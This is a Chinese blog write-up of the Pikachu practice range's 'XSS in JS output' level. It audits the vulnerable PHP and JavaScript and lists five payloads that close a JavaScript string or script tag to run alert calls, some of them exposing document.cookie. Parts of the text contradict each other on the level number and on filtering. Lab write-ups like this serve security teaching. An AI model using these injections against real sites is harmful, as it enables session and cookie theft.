pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)

news2025/7/24 4:24:43

目录

一、源码分析

1、进入靶场

2、代码审计

二、渗透实战

1、根据提示输入tmac

2、XSS探测

3、注入Payload1

4、注入Payload2

5、注入Payload3

6、注入Payload4

7、注入Payload5 


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到安全风险的真实原因,讲解XSS的原理并进行渗透实践,本文使用5种方法对XSS1第10关卡XSS之js输出进行渗透。

一、源码分析

1、进入靶场

打开pikachu靶场第09关XSS之js输出,这是一个输入框页面,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_04.php

2、代码审计

右键查看源码,发现javascript代码,具体如下所示。

接下来查看xss_04.php源码内容,很明显此代码存在 XSS安全风险,核心原因在于直接将未经过滤和验证的 PHP 变量 $jsvar 嵌入到 JavaScript 代码中。$jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。对应的完整JavaScript代码注释后如下所示。

<script>
    // 从 PHP 代码中获取 $jsvar 变量的值,并将其赋值给 JavaScript 变量 $ms
    // 这里是通过 PHP 的 echo 语句将 $jsvar 的值嵌入到 JavaScript 代码中
    $ms = '<?php echo $jsvar;?>';

    // 检查 $ms 变量的长度是否不为 0
    // 即判断 $ms 是否有实际的内容
    if ($ms.length != 0) {
        // 检查 $ms 变量的值是否等于 'tmac'
        if ($ms == 'tmac') {
            // 如果 $ms 的值等于 'tmac',使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
            $('#fromjs').text('tmac确实厉害,看那小眼神..');
        } else {
            // 如果 $ms 的值不等于 'tmac'
            // 注释掉的代码,原本想弹出一个包含 $ms 内容的警告框
            // alert($ms);

            // 使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'
            $('#fromjs').text('无论如何不要放弃心中所爱..');
        }
    }
</script>

如上代码中提到了jvar变量,相关定义如下图所示。如下所示使用htmlspecialchars函数且参数为ENT_QUOTES对输入参数进行了过滤处理,这说明没法用第08关卡的单引号进行XSS渗透了。

这段 PHP 代码的主要功能是处理用户通过 GET 请求提交的 message 参数。当用户提交表单(即 submit 参数存在)且 message 参数有值时,将 message 的值赋给 $jsvar 变量。若 $jsvar 的值为 tmac,则在页面上显示一张名为 tmac.jpeg 的图片。详细注释后的源码如下所示。

<?php
// 初始化一个空字符串变量 $jsvar,用于存储后续要在 JavaScript 中使用的变量值
$jsvar = '';
// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html = '';

// 检查 $_GET 数组中是否存在名为 'submit' 的元素,并且是否存在名为 'message' 的元素且其值不为 null
// 即判断用户是否通过 GET 请求提交了 'submit' 参数,同时也提交了 'message' 参数且该参数有值
if (isset($_GET['submit']) && $_GET['message'] != null) {
    // 将用户通过 GET 请求提交的 'message' 参数的值赋给 $jsvar 变量
    $jsvar = $_GET['message'];

    // 检查 $jsvar 变量的值是否等于 'tmac'
    if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}
?>

综上,第10关的代码存在 XSS安全风险,原因在于直接将用户输入的内容$_GET['message']赋值给 $jsvar 变量,且未对输入进行任何过滤和验证,接又将未经过滤和验证的 PHP 变量 $jsvar 嵌入到 JavaScript 代码中。$jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。

二、渗透实战

1、根据提示输入tmac

进入到pikachu靶场XSS关卡最后一关,根据点击提示获得的信息“输入被动态的生成到了javascript中,如何是好。输入tmac试试-_-”,输入tmac,效果如下所示。

页面提示看那小眼神..“tmac确实厉害,看那小眼神..”,就这是因为js代码种输入为tmac,故而fromjs元素被赋值为“tmac确实厉害,看那小眼神..”,同时因为jvar为tmac,页面显示了图片tmac.jpeg,相关源码如下所示。

if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
如果输入是tmac时, 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
如果输入不是tmac时,将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'

2、XSS探测

输入Payload语句<script>alert('ljn')</script>探测XSS安全风险,如下所示。

<script>alert('ljn')</script>

输入payload后没有任何反应,右键源码,搜索关键字ljn,可知因为ms不是tmac所以输出“无论如何不要放弃心中所爱”。具体代码逻辑如下所示。

由于ms参数未有任何过滤,故而渗透的思路可以通过与上图绿色框中的<script>构造闭合,只要构造出一个js语句就好了。

3、注入Payload1

前提1:语句的开始与上图中绿色的<script>构造闭合,如'</script>即可闭合。

重点:接下来是xss恶意脚本,如<script>alert('ljn')</script>,注入语句如下所示。

'</script><script>alert('ljn')</script>

右键源码-搜索关键字ljn,分析渗透成功的原因,Payload1如何通过闭合语句来进行渗透的。红色框中的闭合如下所示。

<script>
    $ms=''</script>

绿色框内为恶意弹窗<script>alert('ljn')</script>,效果如下所示。

4、注入Payload2

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

'</script><script> alert(document.cookie)</script>

右键查看源码,搜索关键字cookie,闭合构造如下,故而可以弹框成功。

5、注入Payload3

首先要用’;闭合掉当前ms的赋值的语句,然后插入新js语句,然后再用//注释掉老语句遗留下来的’;

开头有<script>
结尾有</script>
只要中间包含xss恶意脚本,如弹框alert('ljn')
那么就变成了<script>alert('ljn')</script>

接下来我们尝试进行闭合,目前可变参数为ms=’string’;

前提1:语句的开始为包含';闭合掉ms赋值语句,如';,在中间插入 xss恶意脚本,如alert('ljn')

前提2:语句的末尾为//,注释掉后ms赋值语句最后的';

本次Paylaod的效果为弹框“ljn”,注入Payload设置为';alert('ljn')//或者或者';alert('ljn');//如下所示。

';alert('ljn')//
';alert('ljn');//

右键源码,搜索关键字ljn,闭合构造的原因如下所示。

Payload中第一个';使得ms赋值函数声明结束,接下来的alert('ljn')就可以是一个新的语句,但是原本ms赋值语句的最后为单引号和分号,故而在他们之前还需要加上//注释掉,从而构造如下闭合语句。

$ms='';alert('ljn')//';

其中alert('ljn')<script></script>生成如下脚本,构成弹框

<script>
alert('ljn')
</script>

6、注入Payload4

本次Paylaod的效果为弹框“1019”,注入Payload如下所示。

';alert(1019);//
';alert(1019)//

右键源码,搜索关键字1019,闭合构造如下,故而可以弹框成功

7、注入Payload5 

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

';alert(document.cookie);//
';alert(document.cookie)//

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2400925.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

李沐-动手学深度学习:RNN

1.RNN从零开始实现 import math import torch from torch import nn from torch.nn import functional as F from d2l import torch as d2l#8.3.4节 #batch_size&#xff1a;每个小批量中子序列样本的数目&#xff0c;num_steps&#xff1a;每个子序列中预定义的时间步数 #loa…

【教学类-36-10】20250531蝴蝶图案描边,最适合大小(一页1图1图、2图图案不同、2图图案相同对称)

背景说明: 之前做了动物头像扇子(描边20),并制作成一页一套图案对称两张 【教学类-36-09】20250526动物头像扇子的描边(通义万相)对称图40张,根据图片长宽,自动旋转图片,最大化图片-CSDN博客文章浏览阅读1k次,点赞37次,收藏6次。【教学类-36-09】20250526动物头像…

高效DBA的日常运维主题沙龙

2024年11月10日&#xff0c;在宁波组织了高效DBA的日常运维沙龙活动&#xff0c;大概有20人左右现场参加。会议的主题为&#xff1a; 目标&#xff1a; 1、识别高频低效操作并制定自动化方案 2、建立关键运维指标健康度体系 3、输出可立即落地的优化清单 会议议程 一、效能瓶…

AAAI 2025论文分享│STD-PLM:基于预训练语言模型的时空数据预测与补全方法

本文详细介绍了一篇发表于人工智能顶级会议AAAI 2025的论文《STD-PLM: Understanding Both Spatial and Temporal Properties of Spatial-Temporal Data with PLM》。该论文提出了一种基于预训练语言模型&#xff08;Pre-trained Language Model‌&#xff0c;PLM&#xff09;的…

Ethernet/IP转DeviceNet网关:驱动大型矿山自动化升级的核心纽带

在大型矿山自动化系统中&#xff0c;如何高效整合新老设备、打通数据孤岛、实现统一控制&#xff0c;是提升效率与安全的关键挑战。JH-EIP-DVN疆鸿智能EtherNet/IP转DeviceNet网关&#xff0c;正是解决这一难题的核心桥梁&#xff0c;为矿山各环节注入强劲连接力&#xff1a; …

[蓝桥杯]模型染色

模型染色 题目描述 在电影《超能陆战队》中&#xff0c;小宏可以使用他的微型机器人组合成各种各样的形状。 现在他用他的微型机器人拼成了一个大玩具给小朋友们玩。为了更加美观&#xff0c;他决定给玩具染色。 小宏的玩具由 nn 个球型的端点和 mm 段连接这些端点之间的边…

卡西欧模拟器:Windows端功能强大的计算器

引言 大家还记得初中高中时期用的计算器吗&#xff1f;今天给大家分享的就是一款windows端的卡西欧计算器。 软件介绍 大家好&#xff0c;我是逍遥小欢。 CASIO fx-9860G是一款功能强大的图形计算器&#xff0c;适用于数学、科学和工程计算。以下是其主要功能和特点的详细介…

机器学习基础(三) 逻辑回归

目录 逻辑回归的概念核心思想 Sigmoid 函数 逻辑回归的原理和底层优化手段伯努利分布最大似然估计 Maximum Likelihood Estimation &#xff08;MLE&#xff09;伯努利分布的似然函数交叉熵损失函数&#xff08;Cross-Entropy Loss&#xff09;&#xff0c;也称为 对数损失&…

Qwen-3 微调实战:用 Python 和 Unsloth 打造专属 AI 模型

虽然大家都忙着在 DeepSeek 上构建应用&#xff0c;但那些聪明的开发者们却悄悄发现了 Qwen-3 的微调功能&#xff0c;这可是一个隐藏的宝藏&#xff0c;能把通用型 AI 变成你的专属数字专家。 通过这篇文章&#xff0c;你将学到如何针对特定用途微调最新的 Qwen-3 模型。无论…

微软Build 2025:Copilot Studio升级,解锁多智能体协作未来

微软Build 2025大会圆满落幕&#xff0c;作为年度科技盛会&#xff0c;它一直是开发与AI技术突破性创新的重要展示平台。对于工程师、创作者和领域专家来说&#xff0c;这是了解微软生态未来动向的关键时刻。今年&#xff0c;Microsoft Copilot Studio推出了一系列新功能&#…

设计模式——系统数据建模设计

摘要 本文主要介绍了UML在软件系统分析和设计中的应用&#xff0c;详细阐述了六大类关系&#xff08;泛化、实现、依赖、关联、聚合、组合&#xff09;及其在UML类图中的表示方法&#xff0c;并通过具体例子说明了这些关系在实际编程中的应用。同时&#xff0c;文章还概述了UM…

解决docker运行zentao 报错:ln: failed to create symbolic link ‘/opt/zbox/tmp/mysq

1 背景描述 禅道使用docker部署运行过一段&#xff0c;服务正常。 后因服务器断电重启&#xff0c;禅道服务也随docker一起启动&#xff0c;但是服务却无法访问。如下如&#xff1a; 2 查看日志&#xff0c;定位原因 查看禅道日志&#xff1a; # docker logs zentao容器di…

OA工程自动化办公系统 – 免费Java源码

概述 功能完备的OA工程自动化办公系统Java源码&#xff0c;采用主流技术栈开发&#xff0c;无论是学习SpringBoot框架还是开发企业级应用&#xff0c;都是不可多得的优质资源。 主要内容 技术架构 ​​后端技术栈​​&#xff1a; 核心框架&#xff1a;SpringBoot 2.xORM框…

Apache IoTDB V2.0.3 发布|新增元数据导入导出脚本适配表模型功能

Release Announcement Version 2.0.3 Apache IoTDB V2.0.3 已经发布&#xff01; V2.0.3 作为树表双模型正式版本&#xff0c;主要新增元数据导入导出脚本适配表模型、Spark 生态集成&#xff08;表模型&#xff09;、AINode 返回结果新增时间戳&#xff0c;表模型新增部分聚…

某校体育场馆结构自动化监测

1. 项目简介 某小学学校成立于2020年&#xff0c;是一所公办小学&#xff0c;以高起点定位为该区优质教育新增长极&#xff0c;依托当地学院及教师进修学院附属小学资源&#xff0c;注重学生综合素质培养&#xff0c;近年来&#xff0c;该小学聚焦“五育” 领域&#xff0c;不…

Android 3D球形水平圆形旋转,旋转动态更换图片

看效果图 1、事件监听类 OnItemClickListener&#xff1a;3D旋转视图项点击监听器接口 public interface OnItemClickListener {/*** 当旋转视图中的项被点击时调用** param view 被点击的视图对象* param position 被点击项在旋转视图中的位置索引&#xff08;从0开始&a…

数据结构与算法学习笔记(Acwing 提高课)----动态规划·树形DP

数据结构与算法学习笔记----动态规划树形DP author: 明月清了个风 first publish time: 2025.6.4 ps⭐️树形动态规划&#xff08;树形DP&#xff09;是处理树结构问题的一种动态规划方法&#xff0c;特征也很明显&#xff0c;会有一个树形结构&#xff0c;其实是DFS的优化。…

leetcode hot100刷题日记——36.最长连续序列

解答&#xff1a; 实际上在哈希表中存储不重复的数字。 然后遍历哈希表&#xff0c;找间隔&#xff0c;更新最大间隔。 class Solution { public:int longestConsecutive(vector<int>& nums) {unordered_set<int>hash;for(int num:nums){hash.insert(num);}in…

CentOS7关闭防火墙、Linux开启关闭防火墙

文章目录 一、firewalld开启、关闭防火墙1、查看防火墙状态 一、firewalld开启、关闭防火墙 以下命令在linux系统CentOS7中操作开启关闭防火墙 # 查询防火墙状态 systemctl status firewalld.service # 开启防火墙 systemctl start firewalld.service # 开机自启动防火墙 syste…

PyTorch——搭建小实战和Sequential的使用(7)

import torch from torch import nn from torch.nn import Conv2d, MaxPool2d, Flatten, Linearclass TY(nn.Module):def __init__(self):"""初始化TY卷积神经网络模型模型结构&#xff1a;3层卷积池化&#xff0c;2层全连接设计目标&#xff1a;处理32x32像素的…